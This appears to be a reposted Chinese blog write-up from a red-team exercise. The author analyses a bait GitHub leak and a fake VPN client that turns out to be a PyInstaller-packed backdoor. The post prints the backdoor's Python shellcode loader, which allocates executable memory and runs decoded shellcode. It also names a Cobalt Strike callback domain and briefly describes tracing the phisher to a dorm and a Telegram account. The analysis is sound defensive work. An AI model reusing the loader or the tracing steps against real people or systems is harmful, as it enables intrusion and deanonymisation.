close
作者:Kat,轉載於先知社區。原文地址:https://xz.aliyun.com/t/11275

在某次攻防演練信息收集的過程中,偶然發現偽裝Github信息泄漏進而釣魚紅隊人員的後門。

下面展開有趣的分析溯源過程。

0x01 信息收集GIthub信息泄漏

根據甲方信息進行常規的Github敏感信息收集偶然發現一個倉庫不簡單

這不是mysql賬號密碼泄漏了嗎,愉快的打開Navicat

失敗....於是訪問源碼的8080端口查看一番,發現一個管理後台

弱口令

針對後台嘗試一波弱口令,admin/admin 嗯~進來了

進來之後竟然發現賬號密碼而且客戶端解壓密碼都貼心的放了出來

到這裡我竟然沒有察覺到任何異常,以為能夠拿到VPN入口權限;抓緊下載VPN客戶端。

解壓出來這個樣子,emmm。。還沒發現異常

0x02 分析溯源

還好有謹慎的習慣,放入虛擬機瞅瞅。

哦豁,竟然提示不兼容當前系統;看到彈窗有Pyhton代碼編寫的特徵。感覺到前面的打點由過於絲滑,不自然的警覺了起來。

包括前面弱口令的提交方式竟然為admin.php?user=admin&passwd=admin

由於發現VPN客戶端為python語言編寫,更不對勁了,反編譯看下。

解包python3 pyinstxtractor.py vpnclient64.exe

生成一個以 exe文件名+_extracted 的文件夾,這個就是解包後的數據

PyInstaller打包後,pyc文件的前8個字節會被抹掉,所以最後要自己添加回去。

添加頭

根據struct.py文件

源碼

得到py文件,easyvpn64.py為後門主程序,其中執行shellcode代碼隱藏至圖片中。

通過requests請求OSS存儲中的圖片,圖片內容為shellcode加載器。

shellcodeLoader部分

import base64import ctypesstr = b''sc_base64 = (base64.a85decode(str)).decode('utf-8')shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

知道shellcodeloader加載方式就好辦了,提取CS回連地址。

溯源

回連地址:Host: cs.xxx.cn

nslookup解析地址

根據IP地址定位在某宿舍

直接溯源到人,tg結合一波。

0x03 總結

在攻防演練過程中一定要小心,防止被釣魚。另外這個釣魚的兄弟已經小本本記下了。。。


arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()